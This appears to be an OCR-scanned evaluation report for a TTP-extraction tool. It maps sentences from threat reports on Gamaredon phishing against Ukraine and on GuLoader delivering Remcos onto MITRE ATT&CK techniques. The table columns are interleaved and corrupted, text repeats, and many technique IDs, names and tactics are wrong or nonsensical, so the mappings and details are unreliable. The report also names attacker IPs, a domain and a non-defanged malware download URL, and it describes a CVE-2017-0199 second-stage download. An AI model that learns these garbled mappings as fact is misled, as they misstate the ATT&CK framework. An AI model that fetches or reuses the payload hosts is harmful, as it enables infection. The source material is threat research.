Observed adversary tactics, techniques, and [{'taid": 'TA0040', 'tactic': 'Tactic Decoy', 12 [0,1,2,3,4,5,6,
procedures (TTPs), victimology, and 'tid": 'T1498', 'technique": 7,8,9,10, 11]




'T1218', 'technique': 'Signed Binary Proxy
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1574.002', 'technique":
'Hijack Execution Flow'}, {'taid": 'TA0002',
'tactic': 'Execution’, 'tid": 'T1574.001",
'technique': 'DLL Search Order Hijacking'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1574.0083', 'technique': 'Create or Modify
System Process'}, {'taid": 'TA0002',
'tactic': 'Execution’, 'tid": 'T1574.004',
'technique': 'Registry Run Keys / Start
Folder'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1574.005', 'technique':
'Kernel Modules and Extensions'}, {'taid":
'TA0040', 'tactic': 'Tactic Decoy"', 'tid":
"T1497', 'technique':
'Virtualization/Sandbox Detection'}]

Gamaredon APT group is believed to be a [{'taid": 'TA0049', 'tactic': 'Establish & [0]
Russian State-backed threat group linked to the | Maintain Infrastructure', 'tid': 'T1324",
Federal Security Service (FSB). 'technique': 'Customized Tool
Development'}]
Gamaredon is known for its cyberespionage [{'taid": 'TA0043', 'tactic': 'Survey & [0]
activities, primarily targeting Ukrainian Reconnaissance’, 'tid': 'T1593.001",
government entities. 'technique': 'Active Scanning'}]
The group uses spear phishing emails and social | [{'taid": 'TA0001', 'tactic': 'Initial Access', [0]
engineering lures as a primary tactic. 'tid": 'T1593', 'technique': 'Phishing'}]
The threat actor used a generic web panel to craft | [{'taid': 'TA0001', 'tactic": 'Initial Access', [0, 1]
and send phishing emails against Ukrainian 'tid": 'T1566.002', 'technique': 'Phishing
government entities. This allowed the actor to Spearphishing Link'}, {'taid": 'TA0002',
automate the malware delivery process against ‘'tactic': 'Execution’, 'tid": 'T1566.002',
specific targets entered by the attackers in the ‘technique': 'Phishing Spearphishing
email recipient section of the panel's user Link'}]
interface.
Pivoted IP addresses overlap with previously [{'taid": 'TAO005', 'tactic': 'Lateral [0, 1]
reported Gamaredon activity (8). Movement', 'tid": 'T1591', 'technique":
'New Service'}, {'taid': 'TA0005', 'tactic":
'Lateral Movement', 'tid': 'T1591.002',
'technique': 'Pass the Ticket'}]
EclecticlQ analysts discovered a publicly facing [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
SMTP server 194[.]180[.]191[.]56 used in a spear 'tid": 'T1590', 'technique': 'Use Alternate
phishing campaign against Ukrainian government | Protocol: Application Layer Protocol
entities in February 2023. SMTP'}]
The exposed SMTP server hosts a web panel for | [{'taid': 'TA0001', 'tactic': 'Initial Access', [0]
crafting and delivering spear phishing emails. 'tid": 'T1566.002', 'technique': 'Phishing
Spearphishing Link'}]
Analysts assess with high confidence that the [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0, 1]
threat actor used this infrastructure to send large | 'tid": 'T1566.002', 'technique': 'Phishing
number of spear phishing emails automatically. Spearphishing Link'}, {'taid": 'TA0002',
'tactic': 'Execution’, 'tid": 'T1588',
'technique': 'Abuse Elevation Control
Mechanism'}]
EclecticlQ analysts identified these two different | [{'taid': "'TA0001', 'tactic’: 'Initial Access', [0]
spear-phishing emails sent from 'tid": 'T1566.001', 'technique': 'Phishing
194[.]180[.]191[.]156. Both of these emails contain | Spearphishing Attachment'}]
a RAR archive file as an attachment, which are
used to deliver the initial malware. Figures 2 and 3
showed two different malware execution flows,
sent on Wed, 15 Feb 2023 17:10:18 +0200 and
Wed, 08 Feb 2023 17:15:44 which are identical to
previous Gamaredon campaigns (1).
Figure 4 shows the origin of the phishing email [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0, 1]

and spoofed email address:

'tid": 'T1583', 'technique': 'Taint Shared
Content'}, {'taid": 'TA0014', 'tactic':




'Impact’, 'tid': 'T1583', 'technique': 'Taint
Shared Content'}]

The server had port 80 open for use by the threat | [{'taid': 'TA0001', 'tactic': 'Initial Access', [0]
actor for crafting spear phishing emails via a 'tid": 'T1566.002', 'technique': 'Phishing

simple user interface seen in figure 5. Spearphishing Link'}]

The web panel allowed the threat actor to send [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
emails using the hardcoded sender address pivn- | 'tid": 'T1566.002', 'technique': 'Phishing
kr@prokuratura[.]dp[.]Jua. EclecticlQ analysts Spearphishing Link'}]

identified the same email address in a recent

phishing email campaign sent to a Ukrainian

military address on February 9, 2023 (5),

indicating that the exposed panel was very likely

used for malware delivery.

EclecticlQ analysts identified that the “.htaccess” | [{'taid': 'TA0005', 'tactic': 'Lateral [0]
file on the exposed SMTP server was Movement', 'tid": 'T1210', 'technique":

misconfigured. The ”.htaccess?” file is a directory- | 'Exploitation for Lateral Movement'}]

level configuration to limit access to a web server

from trusted IP addresses only. According to the

Apache documentation, users must insert all IP

filters inside the "<RequireAll>" tag (7). However,

this tag was missing in the configuration used by

threat actor.

Analysts identified five IP addresses in the [{'taid": 'TAO005', 'tactic': 'Lateral [0]
“.htaccess” file (figure 6): 109[.]200[.]159[.]40 Movement', 'tid": 'T1136', 'technique':

151[.]236[.]30[.]50 109[.]200[.]159[.]59 'Create Account'}]

109[.]200[.]159[.]146 192[.]121[.]87[.]11

The maijority of the pivoted IP addresses are [{'taid": 'TAO005', 'tactic': 'Lateral [0]
located in Moscow, Russia from the same server | Movement', 'tid": 'T1036', 'technique':

provider, Crelcom LLC (AS 6789). WHOIS records | '‘Masquerading'}]

show that one of the IP addresses -

109[.]200[.]159[.]46 - was registered under the

name Michael Tishin. The same name is also

listed as registrant for another IP -

109[.]200[.]159[.]154. This IP was attributed to

Gamaredon by BlackBerry on January 19, 2023

(8)-

The adversary TTPs and victimology overlap with | [{'taid': 'TA0005', 'tactic': 'Lateral [0]
Gamaredon activity previously reported by Movement', 'tid": 'T1071.001', 'technique':

EclecticlQ and other researchers starting in 2020 | 'Application Layer Protocol Web

(1). Protocols'}]

EclecticlQ analysts identified one IP address [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
109[.]200[.]159[.]159 in the “.htaccess” file that 'tid": 'T1566.001', 'technique': 'Phishing

links to a spear phishing email submitted to Spearphishing Attachment'}]

VirusTotal on November 20, 2020. In May 2022,

Cisco reported the campaign and attributed the

activity to Gamaredon (2, 4).

Figure 7 shows the connection between the [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0, 1]
pivoted IP addresses and malicious files uploaded | 'tid": 'T1566.001', 'technique': 'Phishing

to VirusTotal. The IP address links to a spear Spearphishing Attachment'}, {'taid":

phishing email with a malicious attachment. The | 'TAO005', 'tactic': 'Lateral Movement', 'tid":

attachments exploit CVE-2017-0199, a Microsoft | 'T1203', 'technique': 'Exploitation for Client

Office remote code execution vulnerability in Execution'}]

Windows.

Figure 8 shows that spear phishing email was [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
sent to the Security Service of Ukraine (SSU) on 'tid": 'T1566.001', 'technique': 'Phishing

November 19, 2020. It contained a malicious Word | Spearphishing Attachment'}]

document attachment used for malware delivery.

The email sender section was spoofed by threat

actors to make the email look legitimate.

Figure 9 displays the metadata of the spear [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0, 1]

phishing email. The "X-Sender-IP" field in the
metadata reveals the IP address

'tid": 'T1566.001", 'technique': 'Phishing
Spearphishing Attachment'}, {'taid":




109[.]200[.]159[.]159 of the sender. This IP address
does not match the domain name (i.ua) in the
“From” field, proving it is a spoofed email.

'TA0003', 'tactic': 'Persistence’, 'tid":
'T1492', 'technique': 'Network Address
Translation Traversal'}]

be used to block specific files from being
downloaded or received by email. This can
prevent users from unintentionally opening and
executing malicious files.

'T1566.001", 'technique': 'Phishing
Spearphishing Attachment'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid":
'T1566.002', 'technique': 'Malicious Link'}]

Once a victim opens the delivered malicious Word | [{'taid': 'TA0001', 'tactic': 'Initial Access', 3 [0,1,2]
document, it will exploit CVE-2017-0199. If the 'tid": 'T1203', 'technique': 'Exploitation for
exploitation is successful, then it will download a | Client Execution'}, {'taid": 'TA0002',
second-stage malware from the 'tactic': 'Execution’, 'tid': 'T1107",
domain erythrocephala[.Jonline, which has been | 'technique': 'File Download'}, {'taid'":
attributed to Gamaredon. 'TA0005', 'tactic': 'Lateral Movement', 'tid":
'T1071', 'technique': 'Application Layer
Protocol Web Protocols'}]
EclecticlQ analysts assess with high confidence [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 2 [0, 1]
that Russian government-linked APTs will 'tid": 'T1566', 'technique': 'Phishing'},
continue to use social engineering tactics during | {'taid': 'TA0008', 'tactic": 'Impact’, 'tid":
cyberattacks against Ukraine. Additionally, they | 'T1489', 'technique': 'Service Stop'}]
are expected to increasingly target NATO
partners due to NATO's support of Ukraine during
the Russian war.
It is very likely that the threat actor will modify [{'taid": 'TAO005', 'tactic': 'Lateral [0]
their TTPs to avoid detection that will increase Movement', 'tid": 'T1027', 'technique':
their chances of success, especially during the ‘Obfuscated Files or Information'}]
malware delivery stage.
Regularly educate employees: Phishing attacks [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": | 2 [0, 1]
often rely on social engineering to trick recipients | 'T1213', 'technique': 'Phishing for
into divulging sensitive information or performing | Information'}, {'taid": 'TA0007", 'tactic':
a certain action. By educating employees on how | 'Defense Evasion’, 'tid": 'T1566.001",
to recognize and avoid phishing emails, you can | 'technique': 'Phishing Spearphishing
reduce the risk of a successful attack. Attachment'}]
Implement SPF, DKIM, and DMARC to prevent [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0, 1]
email spoofing: SPF specifies authorized IP 'tid": 'T1565', 'technique': 'Default
addresses and domains, DKIM signs outgoing Accounts'}, {'taid': 'TA0001", 'tactic': 'Initial
emails with a digital signature, and DMARC builds | Access', 'tid": 'T1565.001', 'technique':
upon SPF and DKIM to provide comprehensive 'Service Account Passwords'}]
protection by allowing domain owners to specify
handling for failed checks.
Install updates: Microsoft released patches and [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0, 1]
updates to fix vulnerabilities such as CVE-2017- 'T1201', 'technique': 'Exploitation of
0199. Users must install these patches and Remote Services'}, {'taid": 'TA0002',
updates when they are released to minimize ‘tactic': 'Execution’, 'tid": 'T1202',
exploitation. 'technique': 'Exploitation for Client-Side
Execution'}]
Implement Content Filtering: Content filtering can | [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0, 1]

Expert Review Result

text tts ttps_pred_count | ttps_accept_idx
On February 09, 2023, EclecticlQ analysts [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 1 0

identified a spear phishing campaign targeting 'tid": 'T1566.001", 'technique': 'Phishing

Ukrainian government entities like the Foreign Spearphishing Attachment'}]

Intelligence Service of Ukraine (SZRU) and

Security Service of Ukraine (SSU).

Analysts identified a publicly exposed Simple Mail | [{'taid': 'TAO001', 'tactic': 'Initial Access', 1 0

Transfer Protocol (SMTP) server and assess with
high confidence that the threat actor used the
SMTP server to craft and deliver phishing emails.

'tid": 'T1590', 'technique': 'Use Alternate
Protocol: Application Layer Protocol
SMTP'}]




The SMTP server contained a web panel designed | [{'taid': "'TA0001', 'tactic': 'Initial Access', 1 0
to create and distribute spear phishing emails. 'tid": 'T1566.002', 'technique': 'Phishing
Spearphishing Link'}]
It enables the email to have a malicious [{'taid": 'TAO008', 'tactic': 'Defense 1 [0]
attachment and leverages email spoofing Evasion', 'tid": 'T1566', 'technique':
techniques to make it appear from a legitimate 'Phishing'}]
source.
Observed adversary tactics, techniques, and [{'taid': 'TA0040', 'tactic': 'Tactic Decoy', 12 0
procedures (TTPs), victimology, and infrastructure | 'tid": 'T1498', 'technique':
found in the SMTP server configuration overlap 'Virtualization/Sandbox Evasion'}, {'taid'":
with previously identified Gamaredon activity. "TA0002', 'tactic': 'Execution’, 'tid": 'T1036',
'technique': 'Masquerading'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1055',
'technique': 'Process Injection'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1074',
'technique': 'Data Staged'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1105',
'technique': 'Remote File Copy'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid": 'T1218',
'technique': 'Signed Binary Proxy
Execution'}, {'taid": 'TA0002', 'tactic':
'Execution’, 'tid": 'T1574.002', 'technique':
'Hijack Execution Flow'}, {'taid": 'TA0002',
'tactic': 'Execution’, 'tid": 'T1574.001",
'technique': 'DLL Search Order Hijacking'},
{'taid': 'TA0002', 'tactic': 'Execution’, 'tid":
'T1574.0083', 'technique': 'Create or Modify
System Process'}, {'taid': 'TA0002', 'tactic":
'Execution’, 'tid": 'T1574.004', 'technique":
'Registry Run Keys / Start Folder'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid":
'T1574.005', 'technique': 'Kernel Modules
and Extensions'}, {'taid": 'TA0040', 'tactic":
'Tactic Decoy', 'tid": 'T1497', 'technique":
'Virtualization/Sandbox Detection'}]
Gamaredon APT group is believed to be a Russian | [{'taid": 'TA0049', 'tactic': 'Establish & 1 0
State-backed threat group linked to the Federal Maintain Infrastructure’, 'tid": 'T1324',
Security Service (FSB). 'technique': 'Customized Tool
Development'}]
Gamaredon is known for its cyberespionage [{'taid": 'TA0043', 'tactic': 'Survey & 1 0
activities, primarily targeting Ukrainian Reconnaissance’, 'tid': 'T1593.001",
government entities. 'technique': 'Active Scanning'}]
The group uses spear phishing emails and social [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 1 [0]
engineering lures as a primary tactic. 'tid": 'T15983', 'technique': 'Phishing'}]
The threat actor used a generic web panel to craft | [{'taid': "'TA0001', 'tactic': 'Initial Access', 2 0
and send phishing emails against Ukrainian 'tid": 'T1566.002', 'technique': 'Phishing
government entities. This allowed the actor to Spearphishing Link'}, {'taid": 'TA0002',
automate the malware delivery process against 'tactic': 'Execution’, 'tid": 'T1566.002',
specific targets entered by the attackers in the ‘technique': 'Phishing Spearphishing Link'}]
email recipient section of the panel's user
interface.
Pivoted IP addresses overlap with previously [{'taid": 'TAO005', 'tactic': 'Lateral 2 0
reported Gamaredon activity (8). Movement', 'tid": 'T1591', 'technique': 'New
Service'}, {'taid": 'TA0005', 'tactic': 'Lateral
Movement', 'tid": 'T1591.002', 'technique':
'Pass the Ticket'}]
EclecticlQ analysts discovered a publicly facing [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 1 0
SMTP server 194[.]180[.]191[.]56 used in a spear 'tid": 'T1590', 'technique': 'Use Alternate
phishing campaign against Ukrainian government | Protocol: Application Layer Protocol
entities in February 2023. SMTP'}]
The exposed SMTP server hosts a web panel for [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 1 0

crafting and delivering spear phishing emails.

'tid": 'T1566.002', 'technique': 'Phishing
Spearphishing Link'}]




Analysts assess with high confidence that the [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 0
threat actor used this infrastructure to send large | 'tid": 'T1566.002', 'technique': 'Phishing
number of spear phishing emails automatically. Spearphishing Link'}, {'taid': "TA0002",
'tactic': 'Execution’, 'tid': 'T1588',
'technique': 'Abuse Elevation Control
Mechanism'}]
EclecticlQ analysts identified these two different [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
spear-phishing emails sent from 'tid": 'T1566.001', 'technique': 'Phishing
194[.]180[.]191[.]56. Both of these emails contain a | Spearphishing Attachment'}]
RAR archive file as an attachment, which are used
to deliver the initial malware. Figures 2 and 3
showed two different malware execution flows,
sent on Wed, 15 Feb 2023 17:10:18 +0200 and
Wed, 08 Feb 2023 17:15:44 which are identical to
previous Gamaredon campaigns (1).
Figure 4 shows the origin of the phishing email [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 0
and spoofed email address: 'tid": 'T1583', 'technique': 'Taint Shared
Content'}, {'taid": 'TA0014', 'tactic':
'Impact’, 'tid': 'T1583', 'technique': 'Taint
Shared Content'}]
The server had port 80 open for use by the threat | [{'taid': "'TA0001', 'tactic': 'Initial Access', 0
actor for crafting spear phishing emails via a 'tid": 'T1566.002', 'technique': 'Phishing
simple user interface seen in figure 5. Spearphishing Link'}]
The web panel allowed the threat actor to send [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 0
emails using the hardcoded sender address pivn- | 'tid": 'T1566.002, 'technique': 'Phishing
kr@prokuratural.]Jdp[.]Jua. EclecticlQ analysts Spearphishing Link'}]
identified the same email address in a recent
phishing email campaign sent to a Ukrainian
military address on February 9, 2023 (5), indicating
that the exposed panel was very likely used for
malware delivery.
EclecticlQ analysts identified that the “.htaccess” | [{'taid": 'TA0005', 'tactic': 'Lateral 0
file on the exposed SMTP server was Movement', 'tid": 'T1210', 'technique":
misconfigured. The ”.htaccess” file is a directory- | 'Exploitation for Lateral Movement'}]
level configuration to limit access to a web server
from trusted IP addresses only. According to the
Apache documentation, users must insert all IP
filters inside the "<RequireAll>" tag (7). However,
this tag was missing in the configuration used by
threat actor.
Analysts identified five IP addresses in the [{'taid": 'TAO005', 'tactic': 'Lateral 0
“.htaccess” file (figure 6): 109[.]200[.]159[.]40 Movement', 'tid": 'T1136', 'technique':
151[.]236[.]30[.]50 109[.]200[.]159[.]159 'Create Account'}]
109[.]200[.]159[.]46 192[.]121[.]87[.]11
The maijority of the pivoted IP addresses are [{'taid": 'TAO005', 'tactic': 'Lateral 0
located in Moscow, Russia from the same server Movement', 'tid": 'T1036', 'technique":
provider, Crelcom LLC (AS 6789). WHOIS records | '‘Masquerading'}]
show that one of the IP addresses -
109[.]200[.]159[.]46 - was registered under the
name Michael Tishin. The same name is also listed
as registrant for another IP - 109[.]200[.]159[.]54.
This IP was attributed to Gamaredon by
BlackBerry on January 19, 2023 (8).
The adversary TTPs and victimology overlap with [ [{'taid': 'TAO005', 'tactic': 'Lateral 0
Gamaredon activity previously reported by Movement', 'tid": 'T1071.001', 'technique':
EclecticlQ and other researchers starting in 2020 | 'Application Layer Protocol Web
(1). Protocols'}]
EclecticlQ analysts identified one IP address [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]

109[.]200[.]159[.]159 in the “.htaccess” file that links
to a spear phishing email submitted to VirusTotal
on November 20, 2020. In May 2022, Cisco
reported the campaign and attributed the activity
to Gamaredon (2, 4).

'tid": 'T1566.001", 'technique': 'Phishing
Spearphishing Attachment'}]




Figure 7 shows the connection between the [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0, 1]
pivoted IP addresses and malicious files uploaded | 'tid": 'T1566.001', 'technique': 'Phishing
to VirusTotal. The IP address links to a spear Spearphishing Attachment'}, {'taid":
phishing email with a malicious attachment. The ‘TA0005', 'tactic': 'Lateral Movement', 'tid":
attachments exploit CVE-2017-0199, a Microsoft | 'T1203', 'technique': 'Exploitation for Client
Office remote code execution vulnerability in Execution'}]
Windows.
Figure 8 shows that spear phishing email was sent | [{'taid": 'TA0001’', 'tactic': 'Initial Access', [0]
to the Security Service of Ukraine (SSU) on 'tid": 'T1566.001', 'technique': 'Phishing
November 19, 2020. It contained a malicious Word | Spearphishing Attachment'}]
document attachment used for malware delivery.
The email sender section was spoofed by threat
actors to make the email look legitimate.
Figure 9 displays the metadata of the spear [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
phishing email. The "X-Sender-IP" field in the 'tid": 'T1566.001", 'technique': 'Phishing
metadata reveals the IP address Spearphishing Attachment'}, {'taid":
109[.]200[.]159[.]59 of the sender. This IP address | 'TA0003', 'tactic': 'Persistence’, 'tid":
does not match the domain name (i.ua) in the ‘T1492', 'technique’: 'Network Address
“From” field, proving it is a spoofed email. Translation Traversal'}]
Once a victim opens the delivered malicious Word | [{'taid': 'TA0001", 'tactic': 'Initial Access', [0, 1]
document, it will exploit CVE-2017-0199. If the 'tid": 'T1203', 'technique': 'Exploitation for
exploitation is successful, then it will download a | Client Execution'}, {'taid": 'TA0002', 'tactic":
second-stage malware from the 'Execution’, 'tid": 'T1107', 'technique': 'File
domain erythrocephala[.Jonline, which has been | Download'}, {'taid': 'TA0005', 'tactic":
attributed to Gamaredon. 'Lateral Movement', 'tid": 'T1071',
'technique': 'Application Layer Protocol
Web Protocols'}]
EclecticlQ analysts assess with high confidence [{'taid": 'TAO0O1', 'tactic': 'Initial Access', [0]
that Russian government-linked APTs will 'tid": 'T1566', 'technique': 'Phishing'},
continue to use social engineering tactics during | {'taid": 'TA0008', 'tactic": 'Impact’, 'tid":
cyberattacks against Ukraine. Additionally, they ‘T1489', 'technique': 'Service Stop'}]
are expected to increasingly target NATO partners
due to NATO's support of Ukraine during the
Russian war.
It is very likely that the threat actor will modify [{'taid": 'TAO005', 'tactic': 'Lateral 0
their TTPs to avoid detection that will increase Movement', 'tid": 'T1027', 'technique':
their chances of success, especially during the ‘Obfuscated Files or Information'}]
malware delivery stage.
Regularly educate employees: Phishing attacks [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0]
often rely on social engineering to trick recipients | 'T1213', 'technique': 'Phishing for
into divulging sensitive information or performing | Information'}, {'taid": 'TA0007", 'tactic':
a certain action. By educating employees on how [ 'Defense Evasion', 'tid": 'T1566.001",
to recognize and avoid phishing emails, you can ‘technique': 'Phishing Spearphishing
reduce the risk of a successful attack. Attachment'}]
Implement SPF, DKIM, and DMARC to prevent [{'taid": 'TAO0O1', 'tactic': 'Initial Access', 0
email spoofing: SPF specifies authorized IP 'tid": 'T1565', 'technique': 'Default
addresses and domains, DKIM signs outgoing Accounts'}, {'taid': 'TA0001", 'tactic': 'Initial
emails with a digital signature, and DMARC builds | Access', 'tid": 'T1565.001", 'technique':
upon SPF and DKIM to provide comprehensive ‘Service Account Passwords'}]
protection by allowing domain owners to specify
handling for failed checks.
Install updates: Microsoft released patches and [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0, 1]
updates to fix vulnerabilities such as CVE-2017- 'T1201', 'technique': 'Exploitation of
0199. Users must install these patches and Remote Services'}, {'taid": 'TA0002',
updates when they are released to minimize 'tactic': 'Execution’, 'tid": 'T1202',
exploitation. 'technique': 'Exploitation for Client-Side
Execution'}]
Implement Content Filtering: Content filtering can | [{'taid": 'TA0002', 'tactic': 'Execution’, 'tid": [0]

be used to block specific files from being
downloaded or received by email. This can
prevent users from unintentionally opening and
executing malicious files.

'T1566.001", 'technique': 'Phishing
Spearphishing Attachment'}, {'taid":
'TA0002', 'tactic': 'Execution’, 'tid":
'T1566.002', 'technique': 'Malicious Link'}]




Test Report 6 GuLoader Targeting the Financial Sector Using a Tax-themed...

URL.: https://www.esentire.com/blog/guloader-targeting-the-financial-sector-using-a-tax-

themed-phishing-lure

TTPExtractor Infer Result

that retrieves the value of the 'Parlando’
property for the registry key located at
'HKCU:\State'.

'tid": 'T1059.001', 'technique':
'PowerShell'}]

sent ttps entities ttps_pred_coun | ttps_accept_id
t X
GuLoader, also known as CloudEyE, is a loader | [{'taid': "'TA0011', 'tactic": [['malware’, 1 [0]
malware that is known to deliver additional ‘command-and-control’, 'tid": 'GuLoader'],
malware, such as infostealers and Remote ‘T1105', 'technique': ['malware’,
Access Trojans (RATSs). 'IngressToolTransfer'}] 'CloudEyE"]]
The phishing email contained a shared link to [{'taid": 'TAO001", 'tactic': 'initial- | [] 1 [0]
Adobe Acrobat, where the user could access', 'tid": 'T1566.002',
download the password-protected ZIP archive | 'technique':
(Figure 1). 'SpearphishingLink'}]
The shortcut file leverages PowerShell to [{'taid": 'TAO011", 'tactic': [['malware’, |1 [0]
retrieve additional payloads from the website. | ‘command-and-control', 'tid": 'shortcut']]
'T1105', 'technique":
'IngressToolTransfer'}]
Here is the example of the spawned [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]
PowerShell one-liner command: ‘tid': "T1059.001", 'technique':
'PowerShell'}]
First, the command retrieves the VBS file from [{'taid": 'TA0002', 'tactic': "#14T", 1} 1 [0]
the encoded domain that translates to i - N
http://109.206.240.67/xlog/Blotlg.vbs. .U‘é;}]ﬂ 059.005", ‘technique':
The VBS file is saved under C:\Windows\Tasks | [r'taid': 'TA0002', 'tactic’: 'H47, | [ 1 [0]
e A ol 'tid": 'T1059.005', 'technique':
VB
The PDF file is then automatically opened to [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]
distract the user from the malicious VBS script Hid': "T1059.005' technique':
execution in the background (Figure 4). 'VB'.}] ’ ’ que:
The obfuscated VBS script is responsible for [{'taid': 'TA0002', 'tactic': "H11T", [['malware', |3 [0,1,2]
writing the base64-encoded GuLoader 'tid": 'T1059.001", 'technique": 'GuLoader']]
shellcode payload to registry keys and 'PO\}verSheII:} {'téid" ‘TAOOOé'
executing the GuLoader payload via e P N . ',
PowerShell (Figures 5-6). tactic': '"HAT', 'tid": 'T1059.005',
'technique': 'VB'}, {'taid":
"TA0011', 'tactic": 'en @ 5=,
'tid": 'T1105', 'technique': ' TR
a1
Figure 5: The obfuscated VBS file [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]
'tid": 'T1059.005', 'technique':
'VB'}]
GuLoader achieves persistence via Registry [{'taid": 'TA0003', 'tactic': [['malware', |1 [0]
Run Keys (Figure 7). 'persistence’, 'tid": 'T1547.001', | 'GuLoader"]
'technique':
'RegistryRunKeysStartupFolder'}
]
The registry data is a PowerShell command [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]




The “State” registry key contains the [{'taid": 'TA0002', 'tactic': "#47", |0 1 [0]
obfuscated PowerShell script that reflectively | ... ..., - Al
tid": 'T1 .001", 'tech :
loads the GuLoader shellcode in memory 'inersﬂiﬁ';o > technique
(Figure 8).
Figure 8: Obfuscated PowerShell script [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]
'tid": 'T1059.001', 'technique':
'PowerShell'}]
The secondary PowerShell script contains the | r'taig': 'TA0002', 'tactic’: 'H47, | [ 2 [0,1]
strings that are XOR-ed with the decimal 50 ‘tid': "T1059.001", 'technique':
(Figure 9). 'PowerShell'}, {'taid': 'TAO005',
'tactic': 'defense-evasion', 'tid":
'T1027', 'technique':
'ObfuscatedFilesorinformation'}]
Upon decoding the script, we can observe that [{'taid": 'TA0002', 'tactic': "#4T", 1} 1 [0]
the PowerShell script is responsible for g . . ,
tid": 'T1 .001', 'tech :
executing two shellcode buffers that are 'I;iwersgseﬁ'ﬁo > technique
Base64-decoded and converted into a byte
array.
Figure 9: Decoded PowerShell secondary [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]
script 'tid": "T1059.001", 'technique':
'PowerShell'}]
The shellcode retrieves the Remcos RAT from | [{'taid": 'TA0011', 'tactic": [['tool’, 1 [0]
the web server ‘command-and-control', 'tid": 'Remcos'],
(http://109.206.240.67/xlog/TkhoWbbRT180.pf | 'T1105', 'technique': ['malware’,
m) and injects it into the ieinstal.exe process. 'IngressToolTransfer'}] 'ieinstal.exe']
]
PowerShell obfuscated script [{'taid": 'TAO002', tactic'; '$h4F", |[['malware’, |1 [0]
'tid": "T1059.001", 'technique': ]P°Wer3he”]
'PowerShell'}]
Expert Review Result
sent ttps entities ttps_pred_coun | ttps_accept_id
t X
GuLoader, also known as CloudEyE, is a loader | [{'taid": 'TA0011', 'tactic": [['malware’, |1 [0]
malware that is known to deliver additional ‘command-and-control’, 'tid": 'GuLoader'],
malware, such as infostealers and Remote ‘T1105', 'technique': ['malware’,
Access Trojans (RATSs). 'IngressToolTransfer'}] 'CloudEyE"]]
The phishing email contained a shared link to [{'taid": 'TAO001", 'tactic': 'initial- | [] 1 [0]
Adobe Acrobat, where the user could access', 'tid": 'T1566.002',
download the password-protected ZIP archive | 'technique':
(Figure 1). 'SpearphishingLink'}]
The shortcut file leverages PowerShell to [{'taid": 'TAO011", 'tactic": [['malware’, |1 [0]
retrieve additional payloads from the website. | ‘command-and-control', 'tid": 'shortcut']]
'T1105', 'technique':
'IngressToolTransfer'}]
Here is the example of the spawned [{'taid': 'TA0002', 'tactic’: '#47", | [ 1 [0]
PowerShell one-liner command: ‘tid': "T1059.001", 'technique':
'PowerShell'}]
First, the command retrieves the VBS file from | [rtaig': 'TA0002', tactic’: '#4T", |0 1 [0]
the encoded domain that translates to i - N
http://109.206.240.67/xlog/Blotlg.vbs. .3‘;.‘}]“ 059.005', ‘technique':
The VBS file is saved under C:\Windows\Tasks | [r'taid': 'TA0002', 'tactic’: '#47, | [ 1 [0]

and Remplice.vbs.

'tid": 'T1059.005', 'technique':
'VB'}]




The PDF file is then automatically opened to [{'taid": 'TA0002', 'tactic': "#47", |0 [0]
distract the user from the malicious VBS script | ... ..., - I
tid": 'T1 . tech :
execution in the background (Figure 4). .\;(é.}] 059.005", ‘technique
The obfuscated VBS script is responsible for [{'taid': 'TA0002', 'tactic': '#hF', | [malware’, [0,1]
writing the base64-encoded GulLoader Hid': "T1059.001". ‘technique': 'GuLoader]
shellcode payload to registry keys and 'PO\}verSheII:} {'téid" ‘TAgooé'
executing the GuLoader payload via I, i’
PowerShell (Figures 5-6). tactic’: "#i47", 'tid": 'T1059.005',
'technique': 'VB'}, {'taid":
"TA0011', 'tactic": 'en @ 5=,
'tid": 'T1105', 'technique': ' TR
a1
Figure 5: The obfuscated VBS file [{'taid": 'TA0002", 'tactic': "H47", | [ [0]
'tid": 'T1059.005', 'technique':
'VB'}]
GuLoader achieves persistence via Registry [{'taid": 'TAO003', 'tactic': [['malware’, [0]
Run Keys (Figure 7). 'persistence’, 'tid": 'T1547.001', | 'GuLoader"]
'technique':
'RegistryRunKeysStartupFolder'}
]
The registry data is a PowerShell command [{'taid': 'TA0002', 'tactic': "H11T", 1} [0]
that retrieves the value of the 'Parlando’ . .
'tid": 'T1 .001", 'tech "
property for the registry key located at 'inersﬂiﬁ';o > technique
